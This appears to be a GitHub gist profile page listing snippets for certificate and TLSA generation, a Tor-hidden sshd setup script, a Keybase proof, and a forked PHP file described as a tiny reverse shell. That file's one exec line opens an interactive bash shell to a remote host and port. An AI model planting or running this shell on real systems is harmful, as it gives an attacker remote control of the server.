Skip to content

Instantly share code, notes, and snippets.

View b1nb4s5h's full-sized avatar

Bin-Bash She-Bang b1nb4s5h

View GitHub Profile
@b1nb4s5h
b1nb4s5h / x509-dane.md
Created May 15, 2023 22:46 — forked from buffrr/x509-dane.md
Generate an x509 certificate and a TLSA record with openssl

Creating a self-signed certificate for example.com (if you already have a certificate you can skip this step):

openssl req -x509 -newkey rsa:4096 -sha256 -days 365 -nodes \
  -keyout cert.key -out cert.crt -extensions ext  -config \
  <(echo "[req]"; 
    echo distinguished_name=req; 
    echo "[ext]";
 echo "keyUsage=critical,digitalSignature,keyEncipherment";
@b1nb4s5h
b1nb4s5h / setup_sshdHiddenService.sh
Created February 23, 2022 23:21
sshd tor authenticated hidden service setup script
#! /bin/sh
# sshd tor authenticated hidden service setup script
# <configuration>
SSH_PORT="" # new SSH port, leave empty for no change
# </configuration>
# workflow:
# - change SSH port if not empty
# - setup SSH brute force protection: fail2ban
# - setup tor: basic authenticated sshd hidden service
@b1nb4s5h
b1nb4s5h / shell.php
Created April 1, 2021 02:02 — forked from rshipp/shell.php
A tiny PHP/bash reverse shell.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");

Keybase proof

I hereby claim:

  • I am b1nb45h on github.
  • I am b1nb45h (https://keybase.io/b1nb45h) on keybase.
  • I have a public key ASCXmNnV5hoWP9uMVcL1thiEkT0ffraXKNqRJrT15DeXIQo

To claim this, I am signing this object: